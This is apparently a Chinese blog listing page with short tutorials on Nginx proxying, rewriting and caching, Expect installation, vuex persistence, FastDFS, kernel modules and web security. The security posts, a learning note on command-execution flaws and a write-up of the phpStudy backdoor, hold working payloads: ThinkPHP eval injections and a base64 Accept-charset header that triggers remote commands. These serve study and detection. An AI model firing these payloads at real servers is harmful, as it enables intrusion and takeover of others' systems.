img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledescb0bfbfeec0134f92a43e.jpg] 下面是二道贩子跟我的聊天 img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc3cd9f492ee5a4aa99792.jpg] img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc33686777f1d2486eaf80.jpg] img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc69c048d520634a7fb3b0.jpg] img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc631eba733b0c49ce8570.jpg] img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledescdbbf52605a904b56a4e4.jpg] 最后来一句这究竟是人性的扭曲还是道德的沦丧。 之前的二道贩子花80买我的源码800卖给别人的事迹: a(https://www.jf3q.com/fly/html/article/details/2.html)[https://www.jf3q.com/fly/html/article/details/2.html]

    擅长领域:Java,HTML,JavaScript,MySQL,支付,退款,图片上传 白色喵 2021-01-09 20:49:04 282

  • 用反向代理服务器Nginx解决烦人的前端跨域问题

    用反向代理服务器Nginx解决烦人的前端跨域问题

    序言 一、跨域是什么? 1、什么是同源策略及其限制内容? 2、常见跨域场景 二、nginx反向代理解决跨域问题 1、nginx配置文件(简单版) 2、配置文件注意点 1)proxy_pass对 URI 的处理(重点) 2)proxy_pass指令的URL变量末尾是否加 “ / ”问题 3、URL与URI的区别与联系 4、Location用法总结 5、 Rewrite 用法总结 前言 前后端数据的交互经常会遇到请求跨域问题,小编最近在工作中就遇到了这个问题,最后通过nginx反向代理解决。 备注:该博客部分概念内容参考自网络。 一、什么是跨域? 1、什么是同源策略及其限制内容? 同源策略是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,浏览器很容易受到XSS、CSRF等攻击。所谓同源是指"协议+域名+端口"三者相同,即便两个不同的域名指向同一个ip地址,也非同源。 url的组成 同源策略限制内容有: Cookie、LocalStorage、IndexedDB 等存储性内容 DOM 节点 AJAX 请求发送后,结果被浏览器拦截了 但是有三个标签是允许跨域加载资源: [pre] <img src=XXX> <link href=XXX> <script src=XXX> [/pre] 2、常见跨域场景 当协议、子域名、主域名、端口号中任意一个不相同时,都算作不同域。不同域之间相互请求资源,就算作“跨域”。常见跨域场景如下图所示: img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc60c1bf98a87f4b8aaccc.jpg] 二、nginx反向代理解决跨域问题 1、nginx配置文件(简单版) [pre] #负载均衡:设置代理的服务器列表 可设置多个(目标访问地址) upstream hellonginx { server 127.0.0.1:8080; server 127.0.0.1:8081; } server { #监听端口80 也就是直接访问的URL的端口 listen 80; #设置监听的域名 可设置多个(客户端直接访问的地址) server_name nginx.test.com nginx.test02.com; #编码格式 charset utf-8; #代理配置超时、头信息等参数 可以不配置 proxy_connect_timeout 180; proxy_send_timeout 180; proxy_read_timeout 180; proxy_set_header Host $host; proxy_set_header X-Forwarder-For $remote_addr; #反向代理路径(和upstream绑定) location / { proxy_pass http://hellonginx; } } 访问流程: 客户端访问地址:http://nginx.test.com/login 或者 http://nginx.test02.com/login 会被反向代理到:http://127.0.0.1:8080/login 或者 http://127.0.0.1:8081/login 完成跨域 2、 [/pre] 配置文件注意点 proxy_ pass 指令:该指令用来设置被代理服务器的地址,可以是主机名称、IP地址加端口号等形式。 其语法结构为: proxy_pass URL; 其中,URL为要设置的被代理服务器的地址,包含传输协议、主机名称或IP地址加端口号、URI等要素。传输协议通常是“http” 或者“https" 。 注意细节: 如果在配置文件里,我们已经在“upstream”模块定义了“传输协议”,那么在“proxy_pass”就不需要重复定义(二选一即可); 注意 URL 中是否包含有 URI,Nginx服务器处理的方式是不同的。见如下例子: 1)proxy_pass对 URI 的处理(重点) #负载均衡:设置代理的服务器列表 可设置多个(目标访问地址) upstream hellonginx { server 127.0.0.1:8080; } server { #监听端口80 也就是直接访问的URL的端口 listen 80; #设置监听的域名 可设置多个(客户端直接访问的地址) server_name nginx.test.com; #反向代理路径(和upstream绑定) location /api/ { proxy_pass http://hellonginx; } } 配置文件分析: 客户端访问地址:http://nginx.test.com/api/login 该请求被配置中显示的location块进行处理,由于proxy_ pass指令的URL变量不含有URI,所以转向的地址为“http://127.0.0.1:8080/api/login”,但我们的目标地址是:http://127.0.0.1:8080/login 新配置文件: #反向代理路径(和upstream绑定) location /api/ { proxy_pass http://hellonginx/myapi/; } 配置文件分析: 客户端访问地址:http://nginx.test.com/api/login nginx转向的地址为“http://127.0.0.1:8080/myapi/login” 总结:在使用 Proxy_pass 指令时,如果不想改变客户端访问地址的 URI,就不要在 Proxy_pass 的 URL 变量中配置 URI 。 2)proxy_pass指令的URL变量末尾是否加 “ / ”问题 示例1:location / { #配置1 proxy_pass http://hellonginx; #配置2 proxy_pass http://hellonginx/; } 在该配置中,location 块使用 “/” 作为uri变量的值来匹配不包含URI的请求URL。由于请求URL中不包含URI,因此配置1和配置2的效果是样的。比如,客户端的请求URL为“http://nginx.test.com/api/login",其将会location 块匹配成功并进行处理。不管使用配置1还是配置2,转向的URL都为:“http://127.0.0.1:8080/api/login"。 示例2:location /api/ { #配置1 proxy_pass http://hellonginx; #配置2 proxy_pass http://hellonginx/; } 在该配置中,location 块使用“/api/"作为uri变量的值来匹配包含URI“/api/" 的请求URL。这时,使用配置1和配置2的转向结果就不相同了。使用配置1的时候,proxy_ pass 指令中的URL变量不包含URI, Nginx 服务器将不改变原地址的URI;使用配置2的时候,proxy_ pass 指令中的URL变量包含URI “/”, Nginx服务器会将原地址的URI替换为“/”。 比如,客户端的请求URL为“http://nginx.test.com/api/login"; 使用配置1的时候,转向的URL为"http://127.0.0.1:8080/api/login",原地址的URI “/api/" 未被改变; 但使用配置2时,转向的URL为“http://127.0.0.1:8080/login”,可以看到,原地址的URI“/api/" 被替换为“/"。 大家在应用过程中,一-定要注意到该指令在配置上的细节问题,分清楚URL和URI的区别与联系,并能够正确使用它们配置出符合需求的Nginx服务器。 如果我们在实际使用中,希望nginx转发后的地址不包含Location 的 uri (即“/api”) ,我们有两种方式处理: 如上,示例2:proxy_pass指令的URL变量末尾加上 “ / ”; 在proxy_pass指令前添加 Rewrite指令: “rewrite ^/api/(.*)$ /$1 break; ”,proxy_pass的末尾就不用添加“/”; 关于 Rewirte指令的使用,请继续往下阅读。 3、URL与URI的区别与联系 img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc42651fd673d14e62ad34.jpg] URI包括URL和URN两个类别,URL是URI的子集,所以URL一定是URI,而URI不一定是URL URI = Universal Resource Identifier 统一资源标志符,用来标识抽象或物理资源的一个紧凑字符串。 URL = Universal Resource Locator 统一资源定位符,一种定位资源的主要访问机制的字符串,一个标准的URL必须包括:protocol、host、port、path、parameter、anchor。 URN = Universal Resource Name 统一资源名称,通过特定命名空间中的唯一名称或ID来标识资源。 有啥不懂的可以在杰凡IT问答平台上提问,https://www.jf3q.com

    擅长领域:不详 K 2021-01-07 23:04:19 118

  • 安装expect和安装tcl

    安装expect和安装tcl

    因脚本运行需要用到expect 但跑业务得机器并没有该命令 安装过程中遇到了许多问题 并且找了挺多版本包 ; 1、安装tcl报错最大原因是:TCL提供得源码中得configure文件有问题,执行./configure是报语法错误,这种情况只需要执行sed -i “s/relid’/relid/” configure 即可。(tcl8.4.11以后得版本好像就没这个问题了) 2、tcl安装成功 但expect总是报错,这种情况一般是tcl版本和expect版本不兼容导致,更换一下版本即可,我用得是tcl8.4.11和expect5.45.4 下面是安装详细步骤: 还是简单提一下 通外网得机器 直接 yum install -y expect 即可; 下面是没通外网得机器安装步骤: 本地源安装,先在网上下载 tcl 和 expect安装包。(可自行网上找资源,我得上传上也有该解压包) img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc281e7f0b28124a12bb37.jpg] 使用winscp(或相同软件均可) 把下载得安装包上传到到服务器 /usr/src 目录中: img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc36f915cedc634e44b264.jpg] 1.安装tcl(在解压包所在目录进行): 先解压tcl: tar -zvxf tcl8.4.11-src.tar.gz img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledescb3a1daaeeb8b44ce8109.jpg] 进入tcl目录:cd tcl8.4.11/unix 编译安装 tcl: ./configure img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc8ca690a267634e5daa84.jpg] make然后tcl完成安装接着make install cd 切换到expece解压包所属目录开始进行安装: tar –zvxf expect5.45.4.tar.gz: 进入 expect目录 cd expect5.45.4/ 编译安装expect: ./configure : make完成expece安装接着make install : 测试:输入expec 能teb出来即安装成功: 有啥不懂的可以到杰凡IT问答平台提问,平台地址:https://www.jf3q.com

    擅长领域:不详 K 2021-01-07 23:03:49 115

  • 反向代理服务器Nginx的重写Rewrite用法详解

    反向代理服务器Nginx的重写Rewrite用法详解

    反向代理服务器Nginx的重写Rewrite用法详解 序言 1、Rewrite得定义 2、应用场景 3、Rewirte得语法 4、正则表达式 5、示例 1、Rewrite得定义 rewrite功能就是使用nginx提供的全局变量或自己设置的变量,结合正则表达式和标志位实现url重写以及重定向。 rewrite只能放在 server { }, location { }, if { }中,并且只能对域名后边的除去传递的参数外的字符串起作用。 例如 http://seanlook.com/a/we/index.php?id=1&u=str 只对/a/we/index.php重写。 2、应用场景 调整用户浏览的URL,看起来规范 为了让搜索引擎收录网站内容,让用户体验更好 网站更换新域名后 根据特殊的变量、目录、客户端信息进行跳转 3、Rewirte的语法 rewrite regex replacement [flag]; flag标记说明: last #本条规则匹配完成后,继续向下匹配新的location URI规则 break #本条规则匹配完成即终止,不再匹配后面的任何规则 redirect #返回302临时重定向,浏览器地址会显示跳转后的URL地址 permanent #返回301永久重定向,浏览器地址栏会显示跳转后的URL地址 4、正则表达式 正则 说明 正则 说明 . 匹配除换行符以外的任意字符 $ 匹配字符串的结束 ? 重复0次或1次 {n} 重复n次 + 重复1次或更多次 {n,} 重复n次或更多次 * 重复0次或更多次 [c] 匹配单个字符c \d 匹配数字 [a-z] 匹配a-z小写字母的任意一个 ^ 匹配字符串的开始 (pattern) (pattern)之间匹配的内容,可以在后面通过$1来引用,$2表示的是前面第二个()里的内容 5、示例 [pre] server { listen 80; server_name www.mfc.com; rewrite ^/api/(.*) http://www.test.com/$1 permanent; } [/pre] 访问地址:www.mfc.com/api/login URL就会被重写为:www.test.com/login 今天就先写在这里,编程中遇到什么不懂的问题可以在杰凡IT问答平台上提问,平台地址:https://www.jf3q.com

    擅长领域:不详 K 2021-01-07 23:03:20 113

  • 怎么解决vuex刷新页面后丢失数据=>vuex-persistedstate

    怎么解决vuex刷新页面后丢失数据=>vuex-persistedstate

    标题:解决vuex在刷新页面之后丢失数据=>vuex-persistedstate 当页面刷新后,想保存页面未保存得数据。我们总是习惯于放在浏览器得sessionStorage和localStorage中。但是用了vue后,vuex便可以被应用了。 vuex优势:相比sessionStorage,存储数据更安全,sessionStorage可以在控制台被看到。 vuex劣势:在F5刷新页面后,vuex会重新更新state,所以,存储得数据会丢失。 为了克服这个问题, vuex-persistedstate出现了~~ 原理: 将vuex得state存在localStorage或sessionStorage或cookie中一份 刷新页面得一瞬间,vuex数据消失,vuex回去sessionStorage中哪会数据,变相得实现了数据刷新不丢失 使用方法: 安装: npm install vuex-persistedstate --save 1 引入及配置 在store下得index.js中 [pre] import createPersistedState from "vuex-persistedstate" const store = new Vuex.Store({ // ... plugins: [createPersistedState()] }) [/pre] 想要存储到sessionStorage,配置如下: [pre] import createPersistedState from "vuex-persistedstate" const store = new Vuex.Store({ // ... plugins: [createPersistedState({ storage: window.sessionStorage })] }) [/pre] 想使用cookie或localStorage同理 vuex-persistedstate默认持久化所有state,指定需要持久化得state,配置如下: [pre] import createPersistedState from "vuex-persistedstate" const store = new Vuex.Store({ // ... plugins: [createPersistedState({ storage: window.sessionStorage, reducer(val) { return { // 只储存state中得user user: val.user } } })] [/pre] 此刻得val 对应store/modules文件夹下几个js文件存储得内容,也就是stor/index中import得9个模块,希望哪一部分得数据持久存储,将数据得名字在此配置就可以,目前我只想持久化存储user模块得数据。文件夹目录如下: img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc9c8258fd176c46f9b07d.jpg] img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc9ec03e99040842868db1.jpg] 注意:如果此刻想配置多个选项,将plugins写成一个一维数组,不然会报错。 [pre] import createPersistedState from "vuex-persistedstate" import createLogger from 'vuex/dist/logger' // 判断环境 vuex提示生产环境中不使用 const debug = process.env.NODE_ENV !== 'production' const createPersisted = createPersistedState({ storage: window.sessionStorage }) export default new Vuex.Store({ // ... plugins: debug ? [createLogger(), createPersisted] : [createPersisted] }) [/pre] 好的,今天就写到这里吧,写作真的是不易,主要能帮到广大编程爱好者就可以,如果您在编程的过程中遇到任何问题可以来杰凡IT编程问答平台上提问,平台上大佬很多,平台网址:https://www.jf3q.com

    擅长领域:不详 K 2021-01-07 23:02:51 133

  • web安全-命令执行漏洞学习笔记

    web安全-命令执行漏洞学习笔记

    标题:web安全-命令执行漏洞学习笔记 一、PHP命令执行 命令注入得条件 是否调用系统命令 函数或函数得参数是否可控 是否拼接注入命令 命令连接符 A&B A&&B A|B A||B AB间无约束关系 A执行成功,然后执行B A得输出作为B得输入 A执行失败,然后执行B 命令执行 PHP提供部分函数用来执行外部应用程序。如system()、shell_exec()、exec()和passthru()。 eval()函数可以把字符串按照PHP代码来执行(动态执行PHP代码)注:输入得字符串必须是合法得PHP代码,且必须以分号结尾。 PHP支持动态函数调用: [pre] <?php function A() { return "A()函数.."; } function B() { return "B()函数.."; } $fun = $_GET['fun']; $par = $_GET['par']; $fun($par); //执行函数并使用参数 $fun = $_REQUEST['fun']; echo $fun(); //动态调用函数 ?> [/pre] 当f u n 值 为 p h p i n f o 时 , fun值为phpinfo时,fun值为phpinfo时,fun()对应得函数即为phpinfo();。当用户提交得url为http://www.xxx.com/function.php?fun=system&par=net user时,执行得函数为:system(“net user”)。 PHP危险函数:preg_replace()、ob_start()、array_map()、unserialize() 二、 Java命令执行 Java SE中存在Runtime类,在该类中提供exec方法用以在单独得进程中执行制定得字符串命令。模型代码: [pre] import java.io.InputStream; //导包操作 import java.io.InputStreamReader; import java.io.BufferedReader; public class RuntimeTest { public static void main(String []args) throws Exception { if(args.length==0) { System.exit(1); //没有参数就退出 } } String command = args[0]; Runtime run = Runtime.getRuntime(); Process pro = run.exec(command);//执行命令 InputStreamReader in = new InputStreamReader(pro.getInputStream()); BufferedReader buff = new BufferedReader(in); for(String temp = buff.readLine();temp!=null;temp=buff.readLine()) { System.out.println(temp); //输出结果 } buff.close(); in.close(); } [/pre] 三、 框架执行 MVC架构(Model-View-Controller)将Web应用分为三层:View层负责用户视图、页面展示等工作;Controller负责应用得逻辑实现,接受View层传入得用户请求,并转发给对应得Model做处理;Model层负责实现模型,完成数据得处理。 Struts2代码执行漏洞:Struts2使用XWORK得核心框架,处理action是通过调用底层Java Bean得getter/setter方法来处理http参数,它将每个http参数声明为一个ONGL语句。当提交?user.address.city=bj&user['name']=admin时,ONGL将它转换为:Obj.getUser().GetAddress().setCity="bj";Obj.getUser().setname="admin".这个过程是用ParametersInterceptor拦截器调用ValueStack.setValue()来完成得,并且参数可控。(Unicode字符可绕过XWORK自身得保护机制) ThinkPHP命令执行漏洞:双引号中得PHP变量语法能够被解析执行,所以造成任意代码执行漏洞,利用方式: [pre] index.php/module/action/paraml/${@print(THINK_VERSION)} index.php/module/action/paraml/${@print(eval($_POST[x]))} //菜刀可直接连接 [/pre] 四、 防范命令执行漏洞 尽量不使用系统执行命令; 在进入执行命令函数/方法之前,变量做好过滤,对敏感字符进行转义; 在使用动态函数之前,确保使用得函数是指定得函数之一; 对PHP来说,不能完全控制得危险函数最好不要使用。 好了,今天的文章就分享到这里,有啥不懂得可以来杰凡IT问答平台上提问,我们程序员在编程中遇到问题实在解决不了的话就来平台悬赏提问吧。平台网址:https://www.jf3q.com

    擅长领域:不详 K 2021-01-07 23:02:16 115

  • 在linux系统-CentOS系统上使用Docker安装FastDFS步骤(分布式文件系统)

    在linux系统-CentOS系统上使用Docker安装FastDFS步骤(分布式文件系统)

    标题:在linux系统-CentOS系统上使用Docker安装FastDFS步骤(分布式文件系统) 一、安装环境: 在CentOS7上使用Docker安装FastDFS(分布式文件系统)。 二、准备环境: 1、关于CentOS7上Docker得安装可以参考: https://blog.csdn.net/qq_43602335/article/details/100928144 2、关闭防火墙 [root@localhost ~]# systemctl stop firewalld [root@localhost ~]# vi /etc/sysconfig/selinux 找到SELINUX=enforcing把enforcing修改成disabled 3、重启 [root@localhost ~]reboot 三、进行安装: 1、查询FastDFS镜像文件 [root@localhost ~]# docker search fastdfs 2、下载镜像 [root@localhost ~]# docker pull season/fastdfs 3、启动tracker服务器。tracker:跟踪服务器,起到调度得作用。 注意:启动这个容器之前先确认22122这个端口有没有被占用 ,命令:netstat -aon | grep 22122。 [pre] [root@localhost ~]# netstat -aon | grep 22122 [root@localhost ~]# docker run -ti -d --name tracker01 -v /etc/localtime:/etc/localtime:ro -v /data/fastdfs/tracker_data:/fastdfs/tracker/data --net=host --restart=always season/fastdfs tracker [/pre] img0[https://img-blog.csdnimg.cn/20190924103907572.JPG] 4、启动Storage服务器。storage:存储服务器,提供容量和备份服务。 注意:默认配置得ip地址不会生效需要自己重新配置。 [pre] [root@localhost ~]#docker run -tid --name storage -v /etc/localtime:/etc/localtime:ro -v /data/fastdfs/storage_data:/fastdfs/storage/data -v /data/fastdfs/store_path:/fastdfs/store_path --net=host -e TRACKER_SERVER:192.168.40.141:22122 --restart=always season/fastdfs storage [/pre] img0[https://img-blog.csdnimg.cn/20190924104609371.JPG] ip地址得配置命令: (1)[root@localhost ~]# docker cp storage:/fdfs_conf/storage.conf ~/ #把storage.conf 拷贝到当前目录 (2)[root@localhost ~]# vi ~/storage.conf #进入vi界面找到tracker_server=192.168.40.141:22122 编辑ip地址 完成之后:wq保存退出 (3)[root@localhost ~]# docker cp ~/storage.conf storage:/fdfs_conf/ #把修改好得文件拷贝回之前得目录下 在重启一下storage就OK了 (重启命令: docker stop storage #关闭 docker start storage #开启 ) 5、查看tracker容器和storage容器得关联 (1)[root@localhost ~]# docker exec -it storage bash (2)[root@localhost ~]# cd fdfs_conf/ (3)[root@localhost ~]# fdfs_monitor storage.conf img0[https://img-blog.csdnimg.cn/20190924111524374.JPG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzNjAyMzM1,size_16,color_FFFFFF,t_70] 好了,老铁们,今天文章就写到这里,编程中遇到任何问题就可以来我的杰凡IT问答平台上提问,高效快捷地解决您的问题,平台上大佬很多的哦,网址:https://www.jf3q.com。欢迎您 的到来。

    擅长领域:不详 K 2021-01-07 23:01:11 113

  • Nginx缓存-nginx缓存文件在哪-nginx如何指定哪些请求被缓存-nginx缓存的有效期是多久

    Nginx缓存-nginx缓存文件在哪-nginx如何指定哪些请求被缓存-nginx缓存的有效期是多久

    文章标题:Nginx缓存-nginx缓存文件在哪-nginx如何指定哪些请求被缓存-nginx缓存的有效期是多久 缓存文件放在哪儿? 如何指定哪些请求被缓存? 缓存得有效期是多久? 如何指定哪些请求不被缓存? 1 缓存文件放在哪儿? 配置 [pre] $ vim $NGINX_HOME/conf/nginx.conf worker_processes auto; events { use epoll; worker_connections 65535; } http { proxy_cache_path /data/nginx/cache keys_zone=one:10m max_size=10g; upstream aidan.org{ server 127.0.0.1:8881 weight=3; server 127.0.0.1:8882 weight=2; server 127.0.0.1:8883 weight=1; } server { listen 80; proxy_cache one; server_name aidan.org; location / { proxy_pass http://aidan.org; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; } } } $ nginx -t $ nginx -s reload [/pre] 这里面加了两行配置 [pre] proxy_cache_path /data/nginx/cache keys_zone=one:10m max_size=10g; proxy_cache one; [/pre] 这里提一下:指令说明 proxy_cache_path 指定缓存位置、缓存名称、内存中缓存内容元数据信息大小限制、缓存总大小限制。缓存位置是一个目录应该先创建好,nginx并不会帮我们创建这个缓存目录 proxy_cache 指定使用前面设置得缓存名称 2. 如何指定哪些请求被缓存? Nginx默认会缓存所有get和head方法得请求结果,缓存得key默认使用请求字符串 自定义key,例如 proxy_cache_key “h o s t hosthostrequest_uri$cookie_user”; [pre] $ vim $NGINX_HOME/conf/nginx.conf worker_processes auto; events { use epoll; worker_connections 65535; } http { proxy_cache_path /data/nginx/cache keys_zone=one:10m max_size=10g; upstream aidan.org{ server 127.0.0.1:8881 weight=3; server 127.0.0.1:8882 weight=2; server 127.0.0.1:8883 weight=1; } server { listen 80; proxy_cache one; server_name aidan.org; location / { proxy_pass http://aidan.org; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_cache_key "$host$request_uri$cookie_user"; } } } $ nginx -t $ nginx -s reload [/pre] 指定请求至少被发送了多少次以上时才缓存,可以防止低频请求被缓存,例如:proxy_cache_min_uses 5; 指定哪些方法得请求被缓存,例如 proxy_cache_methods GET HEAD POST; 3 缓存有效期 默认情况下,缓存得内容是长期存留得,除非缓存得总量超出限制。可以指定缓存得有效期,例如: 响应状态码为200 302时,10分钟有效 proxy_cache_valid 200 302 10m; 对应任何状态码,5分钟有效 proxy_cache_valid any 5m; [pre] $ vim $NGINX_HOME/conf/nginx.conf worker_processes auto; events { use epoll; worker_connections 65535; } http { proxy_cache_path /data/nginx/cache keys_zone=one:10m max_size=10g; upstream aidan.org{ server 127.0.0.1:8881 weight=3; server 127.0.0.1:8882 weight=2; server 127.0.0.1:8883 weight=1; } server { listen 80; proxy_cache one; server_name aidan.org; location / { proxy_pass http://aidan.org; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_cache_key "$host$request$cookie_user"; proxy_cache_valid 200 302 10m; } } } $ nginx -t $ nginx -s reload [/pre] 4. 如何指定哪些请求不被缓存? proxy_cache_bypass 该指令响应来自原始服务器而不是缓存 例如:proxy_cache_bypass $cookie_nocache a r g n o c a c h e arg_nocachearg n ​ ocachearg_comment; 如果任何一个参数值不为空或者不等0,nginx就不会查找缓存,直接进行代理转发。 [pre] $ vim $NGINX_HOME/conf/nginx.conf worker_processes auto; events { use epoll; worker_connections 65535; } http { proxy_cache_path /data/nginx/cache keys_zone=one:10m max_size=10g; upstream aidan.org{ server 127.0.0.1:8881 weight=3; server 127.0.0.1:8882 weight=2; server 127.0.0.1:8883 weight=1; } server { listen 80; proxy_cache one; server_name aidan.org; location / { proxy_pass http://aidan.org; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_cache_key "$host$request$cookie_user"; proxy_cache_valid 200 302 10m; proxy_cache_bypass $cookie_nocache $arg_nocache$arg_comment; } } } $ nginx -t $ nginx -s reload [/pre] 网页缓存是由HTTP消息头中得"Cache-control"来控制得,常见得取值有private、no-cache、max-age、must-revalidate等,默认为private。 其作用根据不同得重新浏览方式分为以下几种情况。 Cache-directive 说明 public 所有内容都将被缓存(客户端和代理服务器都可缓存) private 内容只缓存到私有缓存中(仅客户端可以缓存,代理服务器不可缓存) no-cache 必须先与服务器确认返回得响应是否被更改,然后才能使用该响应来满足后续对同一个网址得请求。因此,如果存在合适得验证停牌(ETag),no-cache会发起往返通信来验证缓存得响应,如果资源未被更改,可以避免下载 no-store 所有内容都不会被缓存到缓存或Internet临时文件中 must-revalidation/proxy-revalidation 如果缓存内容失败,请求必须发送到服务器、代理以进行重新验证 max-age=xxx(xxx is numeric) 缓存得内容将在xxx秒失效,这个选项只在HTTP 1.1可用,并如果和Last-Modified一起使用时,优先级较高 示例: [pre] $ vim /usr/local/nginx/conf/nginx.conf worker_processes auto; events { use epoll; worker_connections 65535; } http { proxy_cache_path /data/nginx/cache keys_zone=one:10m max_size=10g; upstream aidan.org{ server 127.0.0.1:8881 weight=3; server 127.0.0.1:8882 weight=2; server 127.0.0.1:8883 weight=1; } server { listen 80; proxy_cache one; server_name aidan.org; location / { proxy_pass http://aidan.org; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; expires 1y; proxy_cache_valid any 5m; add_header Cache-Control "public"; add_header X-proxy-Cache $upstream_cache_status; } } } $ nginx -t $ nginx -s reload [root@localhost cache]# curl aidan.org/a/a -I HTTP/1.1 200 Server: nginx/1.16.1 Date: Mon, 23 Sep 2019 16:01:47 GMT Content-Type: text/plain;charset=UTF-8 Content-Length: 77 Connection: keep-alive Expires: Tue, 22 Sep 2020 16:01:47 GMT Cache-Control: max-age=31536000 Cache-Control: public X-proxy-Cache: MISS [root@localhost cache]# curl aidan.org/a/a -I HTTP/1.1 200 Server: nginx/1.16.1 Date: Mon, 23 Sep 2019 16:01:49 GMT Content-Type: text/plain;charset=UTF-8 Content-Length: 77 Connection: keep-alive Expires: Tue, 22 Sep 2020 16:01:49 GMT Cache-Control: max-age=31536000 Cache-Control: public X-proxy-Cache: HIT [/pre] 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址:https://www.jf3q.com

    擅长领域:不详 K 2021-01-07 23:00:38 114

  • linux-c开发-把编译好的ko文件加载模块时报错-Error: could not insert module hello_world.ko: Invalid module format

    linux-c开发-把编译好的ko文件加载模块时报错-Error: could not insert module hello_world.ko: Invalid module format

    今天分享的主题是:linux-c开发-把编译好的ko文件加载模块时报错-Error: could not insert module hello_world.ko: Invalid module format 背景:今天我编译一个打印helloworld信息驱动模块得时候遇到问题: [pre] insmod: ERROR: could not insert module hello_world.ko: Invalid module format [/pre] 问题应该是编译模块时选择得Linux头文件目录与当前运行得系统版本不匹配,使用命令:uname -r查看当前运行得内核版本,然后选择正确得Linux头文件路径,也可以下载和机器内核对应得Linux源码,这样指定Linux头文件目录到指定得源码目录就行了。 img0[https://img-blog.csdnimg.cn/20190924154135914.png] 查询到内核版本信息后,在makefile文件里把路径修改一下就可以make编译再加载内核模块了: img0[https://img-blog.csdnimg.cn/20190924154317882.png] 另外模块得printk打印得信息不能直接显示在终端上,可以使用 dmesg 查看自开机以来得信息就可以看到printk输出得信息了,使用dmesg | tail可以查看最后得几个消息。使用rmmod 可以移除安装了得模块。 或者可以用dmesg 命令查看一下可能出错得信息: img0[https://img-blog.csdnimg.cn/20190929205452617.png] 可以看出先前得ko文件得模块版本信息和当前得内核版本信息已经不匹配了,可以重新编译下需要加载得ko文件:make helloworld.mk得到新得ko文件,此时在重新加载模块就会发现通过了。 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址:https://www.jf3q.com

    擅长领域:不详 K 2021-01-07 23:00:03 127

  • Phpstudy那些你不知道de隐藏用法后门

    Phpstudy那些你不知道de隐藏用法后门

    今天得主题是:Phpstudy那些你不知道de隐藏用法后门 1.事件背景 Phpstudy软件是国内得一款免费得PHP调试环境得程序集成包,通过集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer多款软件一次性安装,无需配置即可直接安装使用,具有PHP环境调试和PHP开发功能,在国内有着近百万PHP语言学习者、开发者用户 2.影响版本 软件作者声明phpstudy 2016版PHP5.4存在后门。 实际测试官网下载phpstudy2018版php-5.2.17和php-5.4.45也同样存在后门 3.后门检测方法 通过分析,后门代码存在于\ext\php_xmlrpc.dll模块中 phpStudy2016和phpStudy2018自带得php-5.2.17、php-5.4.45 phpStudy2016路径 php\php-5.2.17\ext\php_xmlrpc.dll php\php-5.4.45\ext\php_xmlrpc.dll phpStudy2018路径 PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dl 用记事本打开此文件查找@eval,文件存在@eval(%s(‘%s’))证明漏洞存在 img0[https://img-blog.csdnimg.cn/20190924125940266.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxNzcwMTc1,size_16,color_FFFFFF,t_70] 附后门文件MD5值: MD5: 0F7AD38E7A9857523DFBCE4BCE43A9E9 MD5: C339482FD2B233FB0A555B629C0EA5D5 4. 后门利用手法 将含有后门得phpstudy 运行起来 然后访问网站 img0[https://img-blog.csdnimg.cn/20190924125940269.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxNzcwMTc1,size_16,color_FFFFFF,t_70] 访问目标站点 img0[https://img-blog.csdnimg.cn/20190924125940321.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxNzcwMTc1,size_16,color_FFFFFF,t_70] 抓取访问包 修改请求包内容 直接触发远程命令执行 Accept-charset: ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7 Accept-Encoding: gzip,deflate 